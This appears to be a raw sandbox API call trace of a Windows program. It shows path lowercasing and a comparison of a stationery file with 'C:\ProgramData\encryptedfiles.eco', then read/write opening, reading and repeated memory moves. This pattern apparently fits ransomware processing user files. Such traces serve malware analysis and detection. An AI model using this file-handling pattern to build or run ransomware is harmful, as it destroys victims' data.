CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", cchLength=0x58 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.htm") returned 0x58 [0120.209] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0120.209] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", cchLength=0x58 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.htm") returned 0x58 [0120.209] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0120.209] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", cchLength=0x58 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.htm") returned 0x58 [0120.209] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0120.209] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", cchLength=0x58 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.htm") returned 0x58 [0120.210] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0120.210] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0120.210] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0120.210] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0120.210] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0120.210] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0120.212] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0120.216] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0x46, wParam=0x0, lParam=0x18ea08) returned 0x0 [0120.216] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0x83, wParam=0x1, lParam=0x18e9e0) returned 0x0 [0120.219] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0x47, wParam=0x0, lParam=0x18ea08) returned 0x0 [0120.219] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0x5, wParam=0x0, lParam=0x0) returned 0x0 [0120.221] NtdllDefWindowProc_A (hWnd=0x4015c, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0120.222] NtdllDefWindowProc_A (hWnd=0x30268, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0120.222] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0120.222] GetTickCount () returned 0x1150bc4 [0120.223] GetTickCount () returned 0x1150bc4 [0120.223] GetTickCount () returned 0x1150bc4 [0120.223] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.223] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.223] GetTickCount () returned 0x1150bc4 [0120.223] IsWindowVisible (hWnd=0x30268) returned 0 [0120.223] Sleep (dwMilliseconds=0x0) [0120.261] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0120.261] IMalloc:Alloc (This=0x767666bc, cb=0x9c) returned 0x145ee88 [0120.261] IMalloc:GetSize (This=0x767666bc, pv=0x145ee88) returned 0x9c [0120.261] IMalloc:Alloc (This=0x767666bc, cb=0xcc) returned 0x144d8d0 [0120.261] IMalloc:GetSize (This=0x767666bc, pv=0x144d8d0) returned 0xcc [0120.261] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x34) returned 0x383c4c8 [0120.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", cchWideChar=-1, lpMultiByteStr=0x18e878, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", lpUsedDefaultChar=0x0) returned 88 [0120.262] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", lpFilePart=0x18e870*="Roses.htm") returned 0x57 [0120.263] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", lpString2="C:\\ProgramData\\encryptedfiles.eco") returned 1 [0120.263] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x18e968, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2c4 [0120.285] GetFileType (hFile=0x2c4) returned 0x1 [0120.285] IMalloc:Alloc (This=0x767666bc, cb=0x94) returned 0x1448c00 [0120.285] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.285] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe9 [0120.285] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.285] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb34 | out: ppsaOut=0x18eb34) returned 0x0 [0120.286] ReadFile (in: hFile=0x2c4, lpBuffer=0x1466360, nNumberOfBytesToRead=0xe9, lpNumberOfBytesRead=0x18e9dc, lpOverlapped=0x0 | out: lpBuffer=0x1466360*, lpNumberOfBytesRead=0x18e9dc*=0xe9, lpOverlapped=0x0) returned 1 [0120.287] CloseHandle (hObject=0x2c4) returned 1 [0120.287] IMalloc:Free (This=0x767666bc, pv=0x1448c00) [0120.288] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18e968 | out: ppsaOut=0x18e968) returned 0x0 [0120.288] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.288] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.288] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.288] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.288] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.288] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.288] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.289] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.289] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.289] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.289] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.289] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.289] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.289] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.289] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.289] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.289] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.289] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.289] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.289] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.289] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.289] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.290] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.290] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.290] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.290] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.290] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.290] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.290] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.290] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.290] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.290] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.290] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.290] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.290] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.290] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.290] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.291] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.291] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.291] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.291] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.291] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.291] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.291] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.291] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.291] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.291] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.291] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.291] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.291] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.291] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.292] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.292] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.292] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.292] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.292] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.292] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.292] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.292] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.292] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.292] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.292] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.292] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.292] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.292] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.292] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.292] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.293] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.293] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.293] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.293] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.293] RtlMoveMemory (in: Destination=0x18e9f5, Source=0x18e9f4, Length=0x3 | out: Destination=0x18e9f5) [0120.293] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.293] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.293] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.293] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.293] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.293] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.293] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.293] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.293] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.293] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.293] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.293] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.293] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.293] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.293] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.294] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.294] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.294] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.294] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.294] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.294] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.294] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.294] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.294] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.294] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.294] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.294] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.294] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.294] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.294] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.294] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.294] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.294] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.294] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.294] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.294] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.295] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.295] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.295] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.295] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.295] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.295] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.295] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.295] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.295] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.295] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.295] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.295] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.295] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.295] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.295] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.295] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.295] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.295] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.295] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.295] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.295] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.296] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.296] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.296] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.296] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.296] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.296] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.296] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.296] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.296] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.296] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.296] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.296] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.296] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.296] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.296] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.296] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.296] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.296] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.296] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.296] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.296] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.297] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.297] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.297] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.297] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.297] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.297] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.297] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.297] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.297] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.297] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.297] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.297] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.297] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.297] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.297] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.297] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.297] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.297] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.297] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.297] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.297] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.298] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.298] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.298] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.298] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) [0120.298] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18e960, Length=0x4 | out: Destination=0x14b1c48) 